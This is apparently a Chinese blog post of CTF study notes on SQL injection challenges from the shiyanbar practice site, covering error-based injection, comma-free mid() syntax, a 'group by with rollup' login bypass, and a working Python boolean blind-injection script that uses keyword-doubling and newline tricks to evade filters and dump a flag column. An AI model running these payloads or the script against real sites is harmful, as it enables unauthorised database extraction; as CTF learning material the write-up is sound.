美文网首页
几道注入题

几道注入题

作者: 违规昵称不予展示 | 来源:发表于2019-08-05 17:43 被阅读0次

学习笔记 UpdateXml() MYSQL显错注入

实验吧 加了料的报错注入 https://blog.csdn.net/xingyyn78/article/details/79737070

认真一点报错注入
mid((database())from(1)for(1))
mid((database())from(2)for(1))
mid((database())from(3)for(1))
如果要用到mid函数,但是逗号被屏蔽了,就用这种形式


实验吧 因缺思汀的绕过

表结构如下:


表结构
select * from
from `users`
where `user`=-1 || 1
group by `password` with rollup

用了这个语句后结果为


image.png

在password字段聚合了一个null

select *
from `users`
where `user`=-1 || 1
group by `password` with rollup
limit 1 offset 5
image.png
调过前五条,拿出一个null(改一下select * 就行了)
配合其他write食用更佳
https://blog.csdn.net/wy_97/article/details/76085575
https://blog.csdn.net/yplee_8/article/details/52252549

实验吧认真的

盲注直接看看代码就行

import requests

char_set = r'~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'

char_len = len(char_set)

url = r'http://ctf5.shiyanbar.com/web/earnest/index.php'

session = requests.session()

true_state = 'You are in'

next_line_flag = 0

def my_print(char_word, next_line=False):
    global next_line_flag
    if next_line:
        print()
        print('OK, got!', char_word)
        next_line_flag = 0
    else:
        if next_line_flag >= 70:
            print()
            next_line_flag = 0
        else:
            print(char_word, end='', flush=True)
            next_line_flag += 1

# 爆破数据库的长度
# database_len = 0
# for x in range(50):
#     payload = "0'oorr((length(database()))=%s)oorr'0" % (x)
#     post_data = {'id': payload}
#     my_print(x)
#     res = session.post(url, data=post_data)
#     if true_state in res.text:
        # my_print(x, True)
        # database_len = x
        # break

database_len = 18  # 去掉
db_name = ''

# 爆破数据库名
# for x in range(database_len):
#     for y in char_set:
#         payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" % (x+1, y)
#         post_data = {'id': payload}
#         my_print(y)
#         res = session.post(url, post_data)
#         if true_state in res.text:
#             db_name += y
#             my_print(db_name, True)
#             break

# 爆破表名
# table_name = ''
# try:
#     for x in range(50):
#         for y in char_set:
#             payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0" % (x+1, y)
#             payload = payload.replace(' ', chr(0x0a))
#             post_data = {'id': payload}
#             my_print(y)
#             res = session.post(url, data=post_data)
#             if true_state in res.text:
#                 table_name += y
#                 my_print(table_name, True)
#                 break

# except KeyboardInterrupt:
#     print('\n停止爆破表名,继续下一步')
table_name = 'fiag'
# 爆破列名 不知道咋回事,列名好像坏了,爆不出来 fl$4g@id@username@password
column_name = ''
# try:
#     for x in range(50):
#         for y in char_set:
#             payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0" % (x+1, y)
#             payload = payload.replace(' ', chr(0x0a))
#             post_data = {'id': payload}
#             my_print(y)
#             res = session.post(url, data=post_data)
#             if true_state in res.text:
#                 column_name += y
#                 my_print(column_name, True)
#                 break

# except KeyboardInterrupt:
#     print('\n停止爆破表名,继续下一步')

column_name = r'fl$4g@id@username@password'

# 爆破
column_name = r'fl$4g'
flag_dump = ''
try:
    for x in range(50):
        for y in char_set:
            payload = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (x+1, y)
            payload = payload.replace(' ', chr(0x0a))
            post_data = {'id': payload}
            my_print(y)
            res = session.post(url, data=post_data)
            if true_state in res.text:
                flag_dump += y
                my_print(flag_dump, True)
                break

except KeyboardInterrupt:
    print('\n停止爆破表名,继续下一步')

相关文章

  • 几道注入题

    学习笔记 UpdateXml() MYSQL显错注入 实验吧 加了料的报错注入 https://blog.csdn...

  • 几道题

    简单记录一些之前遇到的题目。 1.写出trottle和debonce函数, 2.写出Number.MAX_VALU...

  • 几道题

  • 对四道题的看法

    为了参加中考复习研讨会,研究了几道题: 这几道题是复习资料中对应2018年中考真题中23题的,在我看来这几道题并没...

  • 2019-08-15

    做了几道选择题

  • 几道算法题

    最近在面试的过程中,遇到了很多手写代码的情况,我是真的不会写算法题,但是常见的还是要总结一下。 1.快速排序 这个...

  • 不懂装懂,学会倾听

    “儿子,今晚咱挑战几道数学题吧,看看能做对几道?"儿子看了一眼题,“这么简单,我要挑战压轴题。就做这道吧” 于是儿...

  • 2019-10-16 基础 面试题

    面试的几道题分享给大家 答案

  • 【最强大脑】你能答对几道题?

    挑战最强大脑,你能答对几道题。

  • 1907

    2022.06.20 星期一 晴 今早云灿起床后说有几道题不会做要问问我,我拿过试卷来一看,什么叫几道题...

网友评论

      本文标题:几道注入题

      本文链接:https://www.haomeiwen.com/subject/wvstlctx.html